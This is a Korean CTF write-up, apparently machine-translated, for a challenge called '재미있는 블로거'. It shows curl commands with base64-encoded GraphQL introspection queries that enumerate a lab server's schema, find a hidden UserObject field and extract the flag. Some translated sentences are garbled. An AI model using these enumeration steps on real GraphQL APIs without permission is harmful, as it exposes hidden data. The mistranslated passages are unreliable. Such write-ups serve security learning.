GraphQL 인트로스펙션의 재미

이 글은 Cyberedu Warm-up CTF #1의 '재미있는 블로거' 챌린지를 작성한 글입니다.

챌린지 웹 페이지에 액세스하면 블로그 게시물을 가져오는 jQuery 스크립트를 찾을 수 있습니다.

var arr = document.URL.match(/article=([0-9]+)/)
    var article = arr[1];
    if (article >= 0) {
        console.log(article);

        var request = $.ajax({
            method: "POST",
            dataType: "json",
            url: "/query",
            contentType: "application/x-www-form-urlencoded",
            data: "query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",
            success: function(response) {
                document.getElementById("title").innerHTML = response.data.allPosts.edges[article].node.title;
                document.getElementById("content").innerHTML = response.data.allPosts.edges[article].node.body;
            }
        })

POST 요청의 데이터 부분을 디코딩하고 불필요한 모든 노이즈(공백, 줄 바꿈..)를 제거하면 이 쿼리가 표시됩니다.
{"query":"{allPosts{edges{node{title\nbody}}}}"}
브라우저와 서버 간의 HTTP 트래픽에 대한 추가 분석은 이 요청이 query 끝점을 통해 모든 블로그 게시물을 가져온 다음 /article=1와 같이 기사 매개변수가 가리키는 게시물만 표시한다는 것을 보여줍니다. #classicGraphQL

그리고 여기에 모든 게시물(또는 curl s)을 가져오기 위한 node 요청이 있습니다.

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq '.data.allPosts.edges[0:2]'

[
  {
    "node": {
      "title": "Day #0 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
    }
  },
  {
    "node": {
      "title": "Day #1 of happines!",
      "body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
    }
  }
]

article=0 에 대해 동일한 형식과 article=799 에 대해 동일한 내용을 가진 800개의 게시물( title ~ body )이 있으며 정상적인 요청의 플래그 표시는 분명히 없습니다.

나는 nodetitle 이외의 body 객체에 무언가가 있기를 희망하면서 GraphQL 쿼리 [1][2]의 Introspection을 확인하기 위해 점프했습니다. . 그리고 여기 내가 깃발을 향해 걸은 단계가 있습니다.

1단계. type에서 모든 __schema를 확인하면 확인할 이름이 지정됩니다PostObject.

{"query":"{__schema{types{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='

{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}


2단계. fields 유형의 모든 PostObject 를 확인하면 filed 이름 목록이 제공됩니다.

{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='

{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}

3단계. idauthorID titlebody처럼 특별한 다이빙을 하지 마십시오. 그러나 author 는 다른 유형인 UserObject 이며 흥미롭게 보입니다.

4단계. fields 유형의 모든 UserObject를 확인하면 randomStr1ngtoInduc3P4in라는 흥미로운 필드가 제공됩니다.

{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='

{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}

5단계. randomStr1ngtoInduc3P4in 플래그 형식의 문자열을 제공하지만 원하는 플래그는 아닙니다. 그리고 800개 중에서 맞는 것을 찾아야 할 것 같습니다.

{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges[0:2]'

[
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
      }
    }
  },
  {
    "node": {
      "author": {
        "randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
      }
    }
  }
]

6단계. grep 플래그를 찾았습니다.

$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges' | grep -E -o 'ECSC{.*}' | grep -v 'harder'

ECSC{b8e9be2eb35748a0aa...}



[1] https://graphql.org/learn/introspection/
[2] https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/

좋은 웹페이지 즐겨찾기